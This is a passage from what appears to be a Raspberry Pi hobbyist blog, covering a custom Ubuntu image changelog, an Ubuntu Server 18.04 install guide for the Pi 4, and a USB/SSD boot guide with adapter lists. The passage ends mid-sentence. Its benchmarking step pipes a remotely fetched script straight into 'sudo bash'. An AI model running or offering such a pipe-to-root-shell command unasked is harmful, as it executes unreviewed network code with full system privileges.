kernel .config file to enable Ceph support Pre-Release v6 – 9/7/2019 Updated kernel to rpi-4.19.71 Integrated all available updates from apt into the base image Fixed display driver issue — if you are running v5 you can fix it by commenting out dtoverlay=vc4-fkms-v3d from /boot/config.txt Enabled Ceph support in the kernel .config Added build flags to kernel build line to build a more complete device tree (dtbo files) Integrated all upstream updates since v5 from raspberrypi-linux and firmware-nonfree including a 3D driver fix for aarch64 Pre-Release v5 – 9/3/2019 Desktop support added Expect lots of warnings in the logs. If you find solutions to them please leave a comment — many commits come from the comments! Be advised — installing can take quite a while on a Pi — overnight or when you have something to do is a good time Type one the following commands to install your preferred flavor of Ubuntu Desktop sudo apt-get install xubuntu-desktop # or sudo apt-get install kubuntu-desktop Pre-Release v4 – 9/2/2019 Recompiled kernel to include support for Ubuntu features that are not present in Raspbian Enabled USB UAS support Fixed video driver by modifying config.txt and compiling with 3D support System now boots clean and loads all modules (sudo systemd status) Pre-Release v3 – 9/2/2019 Fixed IPv6 and a few other module load errors Pre-Release v2 – 8/31/2019 Boot time reduced from 100s to around 30s Messing with apt-mark or flash-kernel is no longer necessary and the fix has been built into the image Fixed bluetooth firmware bug that was looking in /etc/firmware instead of /lib/firmware Fixed entropy bug causing slow startup Fixed mdadm.conf RAID warning Module.symvars is now available in /boot/firmware/ if you need it to build kernel modulesIf you need the whole source tree check out the accompanying build script in the repository. It’s exactly the same as how the kernel and modules were built. Various other fixes (special thanks to Joan at jamesachambers.com for contributing so many) More at https://jamesachambers.com/raspberry-pi-ubuntu-server-18-04-2-installation-guide/ #### Raspberry Pi 4 Ubuntu Server 18.04 Installation Guide Ubuntu Server logo UPDATE 12/5/20 – New instructions are available for Ubuntu 20.04 or Ubuntu 20.10 installation and USB booting on Raspberry Pi 4 in my new article here Ubuntu Server has been my favorite Linux distribution for years. On everything but the Raspberry Pi I run Ubuntu Server but felt stuck with Raspbian on the Pi. Until now! Ubuntu Server 18.04.2 has been released and major improvements have been made to the official Pi branch. The Raspberry Pi 4 is not officially supported out of the box yet on the current Ubuntu Server Raspberry Pi images but you can get it working by manually updating the firmware. Solid state storage is also working but with the catch of having to use a micro SD card as a bootloader since the Pi 4 does not have official boot support yet. I describe how to do both in this article. The Raspberry Pi’s peripherals such as WiFi / Bluetooth are now fully supported. Previous Ubuntu Server versions for Raspberry Pi (like many other distros) had broken or completely missing drivers for core components such as WiFi / Bluetooth. In the 18.04.2 update the firmware for the WiFi and other components is now included out of the box making it a fully functional distribution! This is the first distribution besides Raspbian that feels like you can just image it and everything works. I’ll guide you through the process in this guide. It only takes a few minutes to set up. Table of Contents Toggle Recommended GearGetting Ubuntu Server64 bit (aarch64)32 bit (armhf)Writing the Base ImageUpdating Firmware for Raspberry Pi 4Remove Existing FirmwareDownload Latest Firmware32 bit Firmware Instructions64 bit Firmware InstructionsCreate/Update config.txt and cmdline.txt64 bit config.txt ConfigurationBoot Ubuntu ServerFix apt-get update / Prevent Further UpdatesSolid State Drive (SSD) Configuration (Optional)Wireless FixConfigurationDefault User / PasswordSet Time ZoneUpdate SystemChange Default GPU Memory SplitBenchmarking / Testing StorageConclusion Recommended Gear I highly recommend upgrading to a solid state setup. The performance gains are gigantic. It’s now less than 30 bucks to take your Pi solid state. This is the best performance upgrade you can possibly get for a Pi. With the new Raspberry Pi 4 it’s even more beneficial to use USB storage since a USB 3.0 bus was finally added in the Pi 4 letting it take full advantage of solid state drives. This is the setup I am currently using: Raspberry Pi 4 The Raspberry Pi 4 is available in different memory configurations all the way up to 8 GB. It’s about the size of a credit card and uses an extremely low amount of power making it ideal for all sorts of projects and ideas! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon*.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Raspberry Pi 400 Kit The Raspberry Pi 400 kit includes everything you need for a full Pi 400 desktop build. The Pi 400 is the fastest Raspberry Pi ever released and comes in the form factor of a keyboard! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at Pi Benchmarks and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* StarTech 2.5″ SATA to USB 3.1 Adapter The USB 3.1 variant of the StarTech 2.5″ SATA adapter works well with the Pi 4. The USB 3.0 variant doesn’t have firmware updates available and is not recommended. Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Or for a compact setup: SanDisk Extreme Pro SSD The SanDisk Extreme Pro USB SSD is a true solid state drive. This is different than a typical “flash drive” which uses extremely cheap memory and has very low random I/O performance/throughput compared to a real solid state drive. I’ve used both the USB 3.1 and USB 3.2 variants with the Pi successfully and they benchmark very well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* SD Card Setup: SanDisk Extreme A1 The SanDisk Extreme A1-A2 SD card has the best scoring SD card on Pi Benchmarks for years and is second in popularity only to the SanDisk Ultra (often included in combo kits). The application class (A1) means random I/O speeds (very important when running an OS) have to meet a higher standard. There’s no benefit on the Pi for A2 right now so get whichever is cheaper/available. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* These storage choices are ones that all scored highly on the end-user submitted Raspberry Pi Storage Benchmarks and will give you outstanding I/O performance on the Raspberry Pi. I also personally own all of them and recommend them knowing they are compatible and perform well on the Pi. Getting Ubuntu Server 64 bit (aarch64) I have a custom compiled prebuilt 64 bit image available for testing. This version supports addressing all 4 GB of RAM if available. The WiFi fix for bootflags3 is also already implemented into the precompiled version. Get my custom built kernel from the Ubuntu-Server-raspi4-unofficial GitHub page. 32 bit (armhf) To get the 32 bit version head to the official Ubuntu Raspberry Pi page at https://wiki.ubuntu.com/ARM/RaspberryPi and scroll to the “Official Images” section. Until the official Raspberry Pi 4 image is released choose the Raspberry Pi 3B+ armhf release and follow the directions in the next sections to update the firmware for a Pi 4 boot. Writing the Base Image This part is easy. Extract the image from xz format to img format (7zip is great and free and can extract these). Now write the img to your media (Micro SD card, solid state drive, USB storage, etc). the same way you would for any other distribution! Updating Firmware for Raspberry Pi 4 If you are using the CloudKernel 64 bit image you can skip to the “Boot Ubuntu Server” section as it already implements the updated firmware. If you are using the 32 bit image or the official Ubuntu Server preinstalled server image from Ubuntu’s web site you will need to update the firmware using these instructions. Remove Existing Firmware The firmware in the current release was not built with Raspberry Pi 4 support so we need to update the firmware on the /boot/ partition for the Pi 4 to be able to boot correctly. Insert/mount the micro SD card in your computer and navigate to the “boot” partition. Delete everything in the existing folder so it is completely empty. Download Latest Firmware 32 bit Firmware Instructions If you are trying to run the 64 bit version of Ubuntu skip to the 64 bit instruction section next. For 32 bit versions of Ubuntu download the firmware from the official GitHib repository here: Raspberry Pi GitHub Official – master.zip The latest firmware is everything inside master.zip “boot” folder (including subfolders). We want to extract everything from “boot” (including subfolders) to our micro SD’s “boot” partition that we just emptied in the previous step. Don’t forget to get the “overlays” folder as that contains overlays necessary to boot correctly. The end result will look something like this on the “boot” drive: $ ls COPYING.linux bcm2711-rpi-4-b.dtb kernel.img LICENCE.broadcom bootcode.bin kernel7.img 'System Volume Information' cmdline.txt kernel7l.img bcm2708-rpi-b-plus.dtb config.txt overlays bcm2708-rpi-b.dtb fixup.dat start.elf bcm2708-rpi-cm.dtb fixup4.dat start4.elf bcm2708-rpi-zero-w.dtb fixup4cd.dat start4cd.elf bcm2708-rpi-zero.dtb fixup4db.dat start4db.elf bcm2709-rpi-2-b.dtb fixup4x.dat start4x.elf bcm2710-rpi-3-b-plus.dtb fixup_cd.dat start_cd.elf bcm2710-rpi-3-b.dtb fixup_db.dat start_db.elf bcm2710-rpi-cm3.dtb fixup_x.dat start_x.elf 64 bit Firmware Instructions To boot Ubuntu Server in 64 bit mode we need to download the 64 bit version of the firmware. The .dtb files are different between 32 bit and 64 bit operating systems. Raspbian does not come with a 64 bit bootloader and one isn’t provided in the official GitHub repo either. I have these 64 bit versions available in my Ubuntu Server precompiled image. Create/Update config.txt and cmdline.txt Navigate to the micro SD /boot/ partition. Create a blank cmdline.txt file with the following line: dwc_otg.fiq_fix_enable=2 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 rootwait rootflags=noload net.ifnames=0 Next we are going to create config.txt with the following content: # Enable audio (loads snd_bcm2835) dtparam=audio=on [pi4] [all] 64 bit config.txt Configuration To boot the Pi in 64 bit mode we need to add the following lines to the config.txt: arm_64bit=1 enable_gic=1 armstub=armstub8-gic.bin The final configuration for 64 bit will look like this: # Enable audio (loads snd_bcm2835) dtparam=audio=on [pi4] arm_64bit=1 enable_gic=1 armstub=armstub8-gic.bin [all] These enable all the different 64 bit related options you need to perform a 64 bit boot on the Pi. Boot Ubuntu Server We are now ready to boot the device. Insert the micro SD card and power on the device. Note: The very first startup can be very slow. Be patient. It can take up to a couple minutes with no activity lights then all the sudden everything will start blinking and SSH will open up. Fix apt-get update / Prevent Further Updates If you try to apt-get update now it will try to update your firmware with older firmware from the Ubuntu repository. The workaround for now is to remove that package so it keeps your existing firmware. Make a note to remember you did this step as later on we will want to reenable updates from the repository once support has been added. sudo apt-mark hold flash-kernel You may now run sudo apt-get update && sudo apt-get upgrade. I would avoid using dist-upgrade yet because the kernels in the repository it will update you to don’t support the Pi 4 yet. But this should get you all up to date on the packages! Once the firmware in the apt repositories has been updated for the Pi 4 it will be safe to reinstall initramfs-tools and let it update through the normal process again. Solid State Drive (SSD) Configuration (Optional) USB booting has not been added into the Raspberry Pi 4 firmware yet but is being worked on right now. In the mean time you can use your micro SD card as a bootloader and still boot the whole operating system (rootfs) from the solid state drive giving you the full USB 3.0 speed increases system wide. Once the Pi USB booting is officially released you should be able to boot directly from the device without any makeshift bootloader SD card necessary. First create a fully imaged and booting micro SD card following the earlier steps in the tutorial. After you have created the micro SD installation you should now image your SSD / USB drive with the same Ubuntu image you used to create the SD card. Now navigate to the “boot” partition on the newly created SSD / USB drive and remove everything in there just like we did with the SD card earlier. Now copy the “boot” folder from the micro SD card to the solid state drive. This is necessary because even though the files in “boot” are read off our micro SD card initially some firmware files in the later load stages are read off the mounted drive and if the necessary firmware files are missing the system won’t boot. Now that you’ve created the SSD / USB drive partitions and copied the “boot” partition from the SD card to your new drive we need to update your SD card’s cmdline.txt to point to the SSD / USB drive’s partition. dwc_otg.fiq_fix_enable=2 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 root=/dev/mmcblk0p2 rootfstype=ext4 rootwait rootflags=noload net.ifnames=0 The key part we need to change here is the “root=/dev/mmcblk0p2” section. mmcblk0p2 is a hardware identifier for micro SD storage. We need to change this to the device your storage is detected as. If you are using a USB to solid state drive adapter it’s very likely your drive will be addressed as /dev/sda2. Therefore we will change the root=/dev/mmcblk0p2 to root=/dev/sda2 root=/dev/sda2 The final line will be: dwc_otg.fiq_fix_enable=2 console=ttyAMA0,115200 kgdboc=ttyAMA0,115200 console=tty1 root=/dev/sda2 rootfstype=ext4 rootwait rootflags=noload net.ifnames=0 Plug both the micro SD and the solid state drive into the Pi and boot it up. Remember: the first boot can take 2-3 minutes for first startup so give it some time before assuming it didn’t work. Wireless Fix The current non-free Raspberry Pi firmware had the wrong bootflags3 for quite a while for the Raspberry Pi 4 and these firmware files are definitely out there. Here is a one liner I wrote to replace the Raspberry Pi 3 boot flags in this driver with the Raspberry Pi 4 one: sudo sed -i "s:0x48200100:0x44200100:g" /lib/firmware/brcm/brcmfmac43455-sdio.txt Restart the system afterward. Configuration Default User / Password The username and password for your initial login to Ubuntu Server will be: user: ubuntu password: ubuntu You will be required to change your password after logging in for the first time. Make sure on the prompt you enter the current “ubuntu” password before typing in your new password or the device will kick you out completely and you’ll have to log in again. Set Time Zone To configure the correct time zone for Ubuntu Server use the following command: sudo dpkg-reconfigure tzdata This will take you to a very easy to follow menu to select your correct time zone and applies it to the system. Update System For best stability, security and performance you should immediately update your system and packages to the latest version. This will also grab all of the latest fixes/improvements making your Raspberry Pi Ubuntu experience much better. This part is easy. Type: sudo apt-get update &amp;&amp; sudo apt-get upgrade Change Default GPU Memory Split The default amount of memory allocated to the GPU on the Raspberry Pi is around 76 MB of our 1 GB. In 2 GB and 4 GB models the amount gained from this is negligible but is still worth it for the 1 GB model. If you type the command “free” you will see that your Raspberry Pi is missing this memory under the “total” column. We can reclaim most of this memory back by setting the GPU memory split to 16 MB. If you are planning on installing a GUI in the future you should not make this change. This option is set in the config.txt file. It’s exactly the same file as Raspbian uses but it is located at /boot/firmware/config.txt instead of /boot/config.txt. Open config.txt with the following command: sudo nano /boot/firmware/config.txt We will add the following line at the bottom of config.txt: gpu_mem=16 Press Ctrl + X and type yes to save the file. Now restart the Pi by typing sudo reboot After the reboot finishes type “free” again and you will see that your total available memory has increased and can now be used by the system and your applications! Benchmarking / Testing Storage If you want to verify your drive’s performance you may want to run my storage benchmark with: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash If you search for the model of your drive on Pi Benchmarks you can compare your score with others and make sure the drive is performing correctly! Conclusion I’m very excited to see my favorite Linux distributions continue to evolve to the point where they are comparable in performance and stability to Raspbian. I’ve been testing extensively on Ubuntu Server 32 bit and 64 bit for my Raspberry Pi Minecraft Server project and not only is it on par with Raspbian but starting to do things so well it sometimes makes Raspbian feel a little dated. If you have any questions or suggestions don’t hesitate to leave me a comment on the post or use my contact form to message me privately! I’m good about responding quickly and my articles are constantly revised to address questions or do something a better way that a reader pointed out. Have fun! #### Raspberry Pi 4 USB Boot Config Guide for SSD / Flash Drives Raspberry Pi 4 with Samsung 950 Pro NVME SSD **The new Raspberry Pi bootloader is out which makes these instructions only necessary if you want to continue to use the SD card as a bootloader. View the Raspberry Pi Bootloader Configuration Guide here!** The Raspberry Pi 4* is finally here and has a lot of exciting changes. One very major downside is that it doesn’t support true USB booting yet out of the box (like the 3 series did). The Raspberry Pi foundation states that it is being worked on and will be added back with a future update. No timeline has been given yet for that to happen but they state it’s one of their top priorities. Most of my projects heavily depend on having good performing storage so sitting and waiting was not an acceptable solution. In this guide I’ll show you a workaround to use USB devices as your rootfs device and use a Micro SD card as bootloader only which gives us full SSD performance after boot! To see exactly how much of a performance difference this makes (spoiler: it’s gigantic) check out the Raspberry Pi Storage Benchmarks. I highly recommend doing this on a completely new install. If you try to upgrade your old ones and something goes wrong there’s a good chance you might lose data. We will be modifying the boot partition, resizing partitions, etc. so don’t use a drive with any data on it unless you are positive you have all of the steps down! Table of Contents Toggle Compatible USB AdaptersFind USB adapter chipsetKnown Working AdaptersKnown Problematic Adapters (Naughty List)Equipment UsedPower RequirementsFixing (some) USB Adapter Problems Using QuirksFind Your AdapterApplying QuirksVerifying QuirksUSB Boot InstructionsPrepare SD CardPreparing SSDFirst Boot (SD card only, SSD unplugged)Change PARTUUIDUpdate /boot/cmdline.txtTest SSDUpdate /etc/fstabResizing FilesystemVerify SSD Functionality / PerformanceUpdate Pi using aptConclusionOther ResourcesHow do I boot Raspberry Pi 4 from USB/SSD instead of an SD card?Why is USB booting better than SD card booting for Pi 4?Do I need a powered USB hub for SSD boot on Pi 4? Compatible USB Adapters The Raspberry Pi 4 is proving to be picky about what SATA, M.2, etc. adapters will work in the USB 3.0 port. The USB 3.0 ports are the ones in the middle that are blue inside. The black ones are USB 2.0 and won’t give you the faster speeds the new Pi offers. It’s very likely that some of these will be fixed via software and firmware updates and the Raspberry Pi Foundation has several open known issues related to USB 3. Until that happens though I will maintain a list here of known working ones and known problematic ones. It’s still very early in the release of the Pi 4 so we still have a lot to learn about which adapters work / don’t work. If you have working and nonworking adapters leave a comment and I’ll add it in this list. If the adapters worked before on older Pis then one thing you can try is putting them in the black USB 2.0 ports. Obviously this is stupid because we all want the Pi 4 performance gains but if you end up needing to buy a new adapter this will give you a workaround until a replacement arrives! Find USB adapter chipset There are certain chipsets used in adapters that are known to be working/not working. pi@raspberrypi:~ $ lsusb Bus 003 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub Bus 002 Device 002: ID 174c:55aa ASMedia Technology Inc. Name: ASM1051E SATA 6Gb/s bridge, ASM1053E SATA 6Gb/s bridge, ASM1153 SATA 3Gb/s bridge, ASM1153E SATA 6Gb/s bridge Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub Bus 001 Device 002: ID 2109:3431 VIA Labs, Inc. Hub Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub This is a lsusb dump of all my connected USB devices. I have bolded the line with the USB bridge device. We can see that the chipset is ASM1153E. This is a really common one that works well with the Pi. Known Working Adapters This is a compiled list of known working adapters built by myself from adapters I’ve purchased and commenters from ones they have purchased in this article and my newer guide that utilizes the new Raspberry Pi 4’s native bootloader for USB booting. StarTech 2.5″ SATA to USB 3.1 Adapter*2.5″ SATA to USB 3.1Verified working in comments (thanks Fredrick)Inateck FE2004 2.5″ SATA to USB 3.0 Hard Drive Enclosure*2.5″ SATA to USB 3.0Mirco reports that this enclosure is working but trim is not supportedSamsung 2.5″ SATA to USB 850 EVO Kit /w Adapter* (Alternate amazon.de link*)2.5″ SATA to USB 3.0 KitThis is a kit that comes with a drive and adapter. Rene confirms the adapter works including with non-Samsung drives.CSL 2.5″ SATA to USB 3.0 Adapter*2.5″ SATA to USB 3.0The CSL SL adapter is confirmed to be working by Krikitt in the comments. Available in Europe. Not available in US.UGREEN 2.5″ SATA to USB-C 3.1 Enclosure Drive Caddy*2.5″ SATA to USB-C 3.1Confirmed to be working by CAProjects in the comments. Available in both Europe and USUGREEN 2.5″ SATA to USB-C 3.1 “Protect What You Love” Case* (AliExpress Listing* – Make sure to select USB-C 3.1)2.5″ SATA to USB-C 3.1Reported working by Michal in the comments, thanks!UGREEN 2.5″ to USB 3.0 “SATA USB Converter” Adapter* (AliExpress Listing*)2.5″ SATA to USB 3.0Also reported by Michal as working in the comments, thanks again!UGREEN 2.5″ SATA to USB 3.0 Adapter Cable with UASP Converter*2.5″ SATA to USB 3.0This adapter is reported to be working by Mirco in the commentsSABRENT 2.5″ SATA to USB-C 3.1 Type A Adapter*2.5″ SATA to USB-C 3.1 Type AThe new USB-C 3.1 Type A version of the Sabrent adapter is reported as working in the comments by UEF. DO NOT get the USB 3.0 version as that one is below on the naughty list and won’t work!SABRENT 2.5″ SATA to USB 3.0 Dual Bay Docking Station*2.5″ SATA to USB 3.0One of very few Sabrent adapters/enclosures to work. Reported working well by William Grey in the comments. Has two bays!AliExpress Generic 2.5″ SATA to USB 3.0 3 colors Hard Disk Case*2.5″ SATA to USB 3.0Reported as working with UASP support by pierro78 in the commentsOrico 2.5″ 2139C3-G2 2.5 inch USB 3.1 Gen 2 10Gbps Transparent Enclosure*2.5″ SATA to USB 3.1 Gen 2 10GbpsMake absolutely sure it’s the 10Gbps USB 3.1 Gen 2 version. There is another one that looks identical that is a USB 3.1 Gen 2 6Gbps that will not work. Confirmed working by RRT in the comments.ASUS ROG STRIX Arion Aluminum Alloy M.2 NVMe SSD External Portable Enclosure Case Adapter* – (AliExpress Listing*)M.2 NVMe (B+M Key) to USB/USB-C 3.2 Gen 2It’s bold. It’s beautiful. It’s also confirmed working by TADRACKET and Steve B.However, be warned, it takes a *lot* of power!Steve B. reports that even with the oversized 3.5A CanaKit adapter* it does not work. If you have the standard 3.0 adapter you can be practically certain it won’t power this enclosure.Does work with a powered USB hub*.ICY BOX M.2 NVMe (M Key) to USB-C 3.1 Gen 2 Enclosure* (Alternate amazon.de listing*)M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2Returning legendary commentary Frank Meyer reports:Does not work with a 3.0A power adapter (also reported by TTE). It’s not enough power for this enclosure.Does work with a powered USB hub*. TDBT M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2 Enclosure*M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2Confirmed to be working well by WorkHard in the commentsAliExpress Generic M.2 NVMe (B+M Key) to USB 3.1 “M2 SSD Case NVME Enclosure”*M.2 NVMe (B+M Key) to USB 3.1 Type AConfirmed working by Jens Haase, thanks Jen!SSK Aluminum M.2 NVMe (M Key) to USB 3.1 Gen 2 SSD Enclosure*M.2 NVMe (M Key) to USB 3.1 Gen 2Brian L reports this is working well with beta firmware upgrades, but that it did not work at all without them!ORICO M.2 NVMe SSD Enclosure, USB 3.1 Gen 2 (10 Gbps)* (AliExpress Listing*)M.2 NVME to USB 3.1 Gen 2M.Yusuf has given the first ever report of a working Orico adapter! Make sure it’s the USB 3.1 Gen 2 version that says “Support UASP for NVMe SSD”. This is the way.DELOCK 42570 M.2 SATA (B Key) to USB Micro-B 3.1 Gen 2 SSD Enclosure*M.2 SATA (B Key) to USB Micro-B 3.1 Gen 2Andreas Franek reports that the enclosure works with a 3.0A power adapter (gets a little warm)Shinestar M.2 NVMe (M Key) to USB 3.0 Adapter*M.2 NVMe (M Key) to USB 3.0This is the adapter I’m using in the picture at the top of the article. It is for NVMe M.2 drives only and is getting hard to findUGREEN M.2 NVMe (B+M Key to USB-C 3.1 Gen 2 SSD Enclosure*M.2 NVMe (B+M Key) to USB-C 3.1 Gen 2Confirmed working in comments by Chad DUGREEN M.2 SATA (B+M Key) to USB 3.1 Enclosure*M.2 SATA (B+M Key) to USB 3.1 EnclosureReported as working well in the comments by John H. Reinhardt with a ASM1051E chipsetQNINE M.2 SATA (B Key) to USB 3.0 Enclosure*M.2 SATA (B Key) to USB 3.0I used this enclosure to benchmark M.2 SATA Lite-On and SanDisk drives — working great in 3.0 portsArgon One M.2 SATA (B+M Key) Pi 4 Case*M.2 SATA (B+M Key) Pi 4 CaseThis case gives you a M.2 SATA port for your Raspberry Pi and is also a case! Confirmed working by Frank.Tanbin mSATA to USB Adapter*mSATA to USB 3.0I used this mSATA to USB adapter for my Crucial M550 benchmark — working in 3.0 portsGeneric mSATA to USB 3.0 Adapter (fe2008)*mSATA to USB 3.1Confirmed working in comments by NicoCanakit Raspberry Pi 4 Power Supply (USB-C)*3.5A USB-C Power SupplyCanakit has been making very reliable power supplies for several Pi generations now. Using a 3.5A power supply will give enough extra power for your Pi to power the drive without causing instabilitySimplecom SE502 M.2 SSD Adapter*M.2 SATA (B Key) to USB 3.0Quirks required, reported working by alan but only with quirksDelock #61883 SATA to USB 3.0 Converter*2.5″ SATA to USB 3.0Reported working well by Joerg_HVantec SATA/IDE TO USB 3.0 Adapter*2.5″ SATA to USB 3.0Reported as working by JeffG but with an ugly messy appearanceKnown Working Adapters Known Problematic Adapters (Naughty List) Here is a list of common USB adapters that are known to have problems with the Raspberry Pi 4. You can get some of these adapters working by using quirks mode (see the “Fix (some) USB Adapter Problems Using Quirks” section below). FIDECO M207CPS USB3.2 to M2 NVME/SATA SSD Enclosure*M.2 NVME to USB 3.2 Gen 2Lee Myring reports that the FIDECO M207CPS has issues working with the PiUGREEN 30848 2.5″ SATA to USB 3.0 Hard Drive Enclosure*2.5″ SATA to USB 3.0Reporting as not working properly and disconnecting often by Mirco, thanks!Sabrent USB 3.0 to 2.5″ SATA adapter*2.5″ SATA to USB 3.0Only works in the USB 2.0 ports. Will not boot in a USB 3.0 port. I have two of these and can confirm they don’t work. RIP to Sabrent, our previous king of the Pi 3 era of adapters.Sabrent USB 3.0 to 2.5″ SATA Tool-Free External Hard Drive Enclosure*2.5″ SATA to USB 3.0Another nonworking Sabrent adapter reported by Alex, thanks Alex!ELUTENG 2.5″ SATA to USB 3.0 Adapter*2.5″ SATA to USB 3.0Despite earlier reports as working Ryan and one other have reported this adapter does not work unless you enable quirks mode! Don’t make Ryan’s sacrifice in vain and avoid this one.USB 3.0 to 2.5″ SATA III Hard Drive Adapter UASP Support-20cm, Black*2.5″ SATA to USB 3.0reported by dzm in the comments as having very poor I/O performanceORICO 2.5″ SATA to USB C 3.0 Enclosure (Transparent)*2.5″ SATA to USB 3.0Several commenters have stated the transparent ORICO is not working. Avoid!ORICO 2.5″ SATA to USB 3.0 Enclosure (Black) 2588US3-BKT*2.5″ SATA to USB 3.0Commenters report that the USB-C variant of the transparent ORICO enclosure also does not workORICO 2.5″ SATA to USB 3.0 Enclosure (Black/White) 2520U3*2.5″ SATA to USB 3.0Reported as not working by by Richon in the commentsORICO 2.5″ SATA to USB-C 3.1 Gen 1 Enclosure (Transparent)*2.5″ SATA to USB-C 3.1 Gen 1Confirmed as not working by Andrea De Lunardi in the comments (thanks!)Vantec 2.5″ SATA to USB 3.0 USB Adapter with Case*2.5″ SATA to USB 3.0Does not work after hours of testing and frustration by Moshe Katz in the comments!AliExpress Generic 2.5″ SATA to USB 3.0 “New USB 3.0 To 2.5in SATA 7+15Pin Hard Drive Adapter”*2.5″ SATA to USB 3.0Extremely cheap adapter from AliExpress — MADATALIEXPRESS bought 5 of them and none worked, PPCM had one working, very unreliable and slow when it does work, not recommended even if you get lucky!EWENT USB 3.0 to SATA EW70172.5″ SATA to USB 3.0Does not work – reported by Wouter in the comments, thanks!CableCreation USB 3.0 to SATA Adapter Compatible 2.5″ SATA III HDD Hard Disk Driver, 0.5FT, Black*2.5″ SATA to USB 3.0Morgon reports not working in the comments — I also recognize this adapter as the “fake” StarTech adapter that is sold on AliExpress, thanks Morgon!JSAUX USB 3.0 to SATA Adapter, USB 3.0 to 2.5 Inch SATA III Hard Drives/SSD/HDD Adapter*2.5″ SATA to USB 3.0 Reported as not working by Bennie in the comments, thanks!EZCast M.2 NVME SSD Enclosure Adapter*M.2 NVMe to USB 3.1 Gen2Reported as problematic due to duplicate USB ids — best to avoid — thanks MikeCSabrent 2.5″ Aluminum Enclosure*2.5″ SATA to USB 3.0Reported as not working by JeffGKnown Problematic Adapters Equipment Used Samsung 980 Pro NVMe SSD The Samsung 980 Pro (NVMe) is a professional grade SSD and one of the fastest in the world. The Samsung NVMe drives have been at the top of this category for a long time and are well trusted for both their performance and reliability / long life. Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* ICY BOX M.2 NVMe Enclosure The ICY BOX is basically a giant heatsink that you mount a high performance M.2 NVMe drive inside of. This enclosure is really fast but requires a powered USB hub. Not even the 3.5A adapter can reliably power it! The enclosure works well and will physically feel warm to the touch as it is pulling the heat off your NVMe drive! Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* 2.5″ SATA Option: Kingston A400 2.5″ SATA SSD The Kingston A400 has been a great drive to use with the Pi for years. It’s reliable, widely available around the world, has low power requirements and performs very well. It’s also very affordable. This drive has been benchmarked over 1000 times at pibenchmarks.com and is the #1 most popular SSD among the Pi community! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Compact Option: SanDisk Extreme Pro SSD The SanDisk Extreme Pro USB SSD is a true solid state drive. This is different than a typical “flash drive” which uses extremely cheap memory and has very low random I/O performance/throughput compared to a real solid state drive. I’ve used both the USB 3.1 and USB 3.2 variants with the Pi successfully and they benchmark very well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* You may use other types of drives with the Pi such as M.2 SATA to USB 3.0 and m-SATA to USB 3.0. Here’s some adapters I’ve used for those types of drives: VL716 mSATA Enclosure The VL716 mSATA enclosure lets you connect micro SATA drives to the Pi. These drives are an older type of SSD (usually seen in laptops) predating the M.2 slot but are still widely available and perform extremely well! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.se*, Amazon.sg* UGREEN M+B Key M.2 Enclosure The UGREEN M+B enclosure is a great enclosure for the Pi for M.2 SATA 2280 NGFF drives. It supports both B-key and M-key drives. Does not support newer NVMe drives. As with other types of enclosures it requires more power than other options! Links: AliExpress*, Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Argon ONE Pi 4 M.2 Case The Argon ONE M.2 is a M.2 